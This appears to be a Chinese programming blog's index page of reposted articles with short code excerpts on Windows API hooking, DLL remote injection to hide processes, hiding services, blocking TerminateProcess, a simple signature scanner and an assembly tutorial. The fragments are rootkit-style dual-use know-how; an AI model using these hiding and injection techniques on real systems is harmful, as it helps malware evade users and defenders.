#include "stdio.h"
int main(int argc, char* argv[])
{
char source[]="This is a source sentence";
//char *source="This is a source sentence";
strtok(source,"a");
printf("%s\n",source);
return 0;
}
如果用被注釋掉的那句話(huà),程序運(yùn)行的時(shí)候就報(bào)錯(cuò)。
................
閱讀全文
Windows下的進(jìn)程隱藏(ZT)
摘要: 9X環(huán)境中Windows提供了想光的API函數(shù)用于隱藏系統(tǒng)進(jìn)程。但是到了2000以上系統(tǒng),已經(jīng)無(wú)法真正的做到對(duì)于進(jìn)程的隱藏,除非編寫(xiě)底層驅(qū)動(dòng)。但是我們可以通過(guò)一些變通的辦法來(lái)達(dá)到隱藏進(jìn)程的目的,其中一個(gè)就是遠(yuǎn)程注入。簡(jiǎn)單的說(shuō)就是先編寫(xiě)一個(gè) API的DLL,然后將這個(gè)DLL庫(kù)注入到一個(gè)系統(tǒng)進(jìn)程中,作為它的一個(gè)線(xiàn)程去執(zhí)行。
要實(shí)現(xiàn)DLL注入,首先需要打開(kāi)目標(biāo)進(jìn)程。
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠(yuǎn)程創(chuàng)建線(xiàn)程
PROCESS_VM_OPERATION | //允許遠(yuǎn)程VM操作
PROCESS_VM_WRITE, //允許遠(yuǎn)程VM寫(xiě)
FALSE, dwRemoteProcessId )
...........
閱讀全文
ApiHook類(lèi)(ZT)
摘要: // 頭文件
// ApiHook.h: interface for the CApiHook class.
//
//////////////////////////////////////////////////////////////////////
#ifndef API_HOOK_H
#define API_HOOK_H
class CApiHook
{
public :
HANDLE hProc ;
............
閱讀全文
APIHOOK之?dāng)r截OpenProcess(真正的實(shí)現(xiàn)了攔截TerminateProcess)(ZT)
摘要:
關(guān)于API HOOK(OpenProcess),根據(jù)網(wǎng)上文章改寫(xiě)
以下是部分程序,在VC++6.0 Plat SDK 2003 SP1下編譯通過(guò)
#include <windows.h>
#include "APIHook.h"
extern CAPIHook g_OpenProcess;
// 自定義OpenProcess函數(shù)
#pragma data_seg("YCIShared")
HHOOK g_hHook = NULL;
DWORD dwCurrentProcessId=0;
#pragma data_seg()
HANDLE WINAPI Hook_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
.................
閱讀全文
APIHOOK之殺毒軟件的簡(jiǎn)單實(shí)現(xiàn)(ZT)
摘要: #define DEBUGMSG
#include <windows.h>
#include <windef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "Psapi.h"
#pragma comment (lib,"Psapi.lib")
#define erron GetLastError ()
TCHAR name[50]=""; //保存蟲(chóng)蟲(chóng)的文件名+路徑
FILE *Gfp=NULL; //輸出到文件
BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征碼函數(shù)
.......................
閱讀全文
應(yīng)用層隱藏服務(wù)的項(xiàng)目(ZT)
摘要: 應(yīng)用層隱藏服務(wù)的項(xiàng)目 2006-03-28
HideService
// *****************************************************************************//
//
// 文件名: AgentHk.cpp
// 所屬項(xiàng)目名稱(chēng):
// 所屬模塊名稱(chēng): AGENT Service Hook
// 所屬項(xiàng)目版本: 2.0
// 文件用途 :
// 文件作者 : horse_b
// 創(chuàng)建日期 : 2004-11-30
//
// 文件修改說(shuō)明:
// 文件修改人:
// 修改日期:
//
//
//
//********************************************************************************//
.............
閱讀全文
用 SEH 技術(shù)實(shí)現(xiàn) API Hook(ZT)
摘要: 閱讀本文之前,我先假設(shè)讀者已經(jīng)知道了 SEH 和 API Hook 的基本概念,因?yàn)槲也淮蛩阍诖诉M(jìn)行掃盲工作。什么?你不懂什么叫 SEH 和 API Hook ?那……先去找點(diǎn)資料看看吧,到處都有哦,推薦讀物:Jeffrey Richter 大牛的《Windows核心編程》。(沒(méi)話(huà)可說(shuō),研究系統(tǒng)底層編程的葵花寶典,必備!)
...........
閱讀全文
Fasm tutorial, assembly in windows.
摘要: Fasm tutorial, assembly in windows.
ok, this tutorial is aimed at those who know the basics behind assembly. i am not going to explain what hexedecimal,binary and decemal are, or how to convert between them or any of thatc stuff. that is well documented, google it if you dont know. this will be in many parts, and im going to deal with the useful stuff really, guis, that stuff...
ok, i am using a compiler called FASM, available at:
..............
閱讀全文
Hooking Windows API (ZT)
摘要:
===========================[ Hooking Windows API ]==============================
Technics of hooking API functions on Windows
--------------------------------------------
Author: Holy_Father
Version: 1.1 english
Date: 6.10.2002
Web: http://www.hxdef.org, http://hxdef.net.ru,
閱讀全文